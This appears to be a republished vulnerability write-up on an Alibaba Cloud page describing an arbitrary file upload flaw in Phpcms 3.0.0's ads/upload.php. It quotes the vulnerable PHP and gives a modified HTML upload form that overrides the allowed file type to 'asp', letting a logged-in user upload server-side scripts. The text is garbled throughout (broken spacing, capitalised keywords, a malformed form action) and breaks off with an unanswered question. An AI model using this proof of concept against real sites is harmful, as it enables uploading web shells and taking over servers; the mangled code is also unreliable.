Phpcms 3.0.0 File Upload Vulnerability

Source: Internet
Author: User

Vulnerability files: ads/upload. php and uppic. php

The Code is as follows:

Require "common. php ";
Require PHPCMS_ROOT. "/class/upload. php ";

If (! $ _ Userid) message ("Please log on or register first! ", PHPCMS_PATH." member/login. php ");

If ($ extid = 1 ){
$ Upfile_type = "jpg | png | gif ";
} Elseif ($ extid = 2 ){
$ Upfile_type = "swf ";
}

If ($ action = upload)
{
$ FileArr = array (
File => $ previusfile,
Name => $ previusfile_name,
Size => $ previusfile_size,
Type => $ previusfile_type
);

$ Showname = $ fileArr [name];
$ Tmpext = strtolower (fileext ($ showname ));
$ Tmpfilesize = $ fileArr [size];
$ Savepath = ads/. $ upfile_dir./. date (Ym );
$ F-> create (PHPCMS_ROOT. "/". $ savepath );
$ Up = new upload ($ fileArr, $ savepath, $ upfile_type, 1, $ upfile_size );
...........


Obviously, the upfile_type variable is not strictly filtered. You can customize the upload type. In practice, you can upload files with any suffix except *. php and *. php3,
Because the PHPCMS_ROOT. "/class/upload. php" file is Zend encrypted, direct analysis is not possible.

If (! $ _ Userid) message ("Please log on or register first! ", PHPCMS_PATH." member/login. php ");


$ _ Userid is obtained by session. Therefore, register a user and use the vulnerability after logon. The modified upload page is as follows:


<Html>
<Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312">
<Title> upload </title>
<Meta name = "keywords" content = "">
<Meta name = "description" content = "">
<Meta name = "generator" content = "Phpcms">
<Link href = "/templates/default/skins/default/style.css" rel = "stylesheet" type = "text/css">
</Head>

<Body>
<Script language = "javascript" type = "text/javascript">
<! --
Function checkform ()
{
If (document. getElementById ("previusfile"). value =) {alert ("select the file to upload! "); Return false ;}
}
// -->
</Script>
<Table cellpadding = "0" cellspacing = "0" border = "0" width = "100%" height = "5">
<Tr>

<Td> </td>
</Tr>
</Table>
<Form name = "upload" method = "post"
Action = "asp"> http://www.phpcms.cn/ads/upload.php? Action = upload & url = & upfile_type = asp "enctype =" multipart/form-data "onSubmit =" return checkform (); ">
<Table cellpadding = "2" cellspacing = "1" class = "tableborder">
<Tr>
<Th> File Upload </th>
</Tr>
<Tr>
<Td class = "tablerow" height = "30">
Select: <input name = "previusfile" type = "file" id = "previusfile" size = "20"/>

<Input type = "hidden" name = "MAX_FILE_SIZE" value = ""/>
<Input type = "hidden" name = "channelid" value = "0"/>
<Input type = "submit" name = "submit" value = "Upload">
</Td>
</Tr>
</Table>
</Form>

</Body>
</Html>


Now you can upload the asp file. open the file (save session) in the login window. the uploaded file name suffix is the same as the upfile_type variable of the action attribute in the form, the source code of the uploaded page is as follows:

According to the above local modification, the upload is in an incorrect format?

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.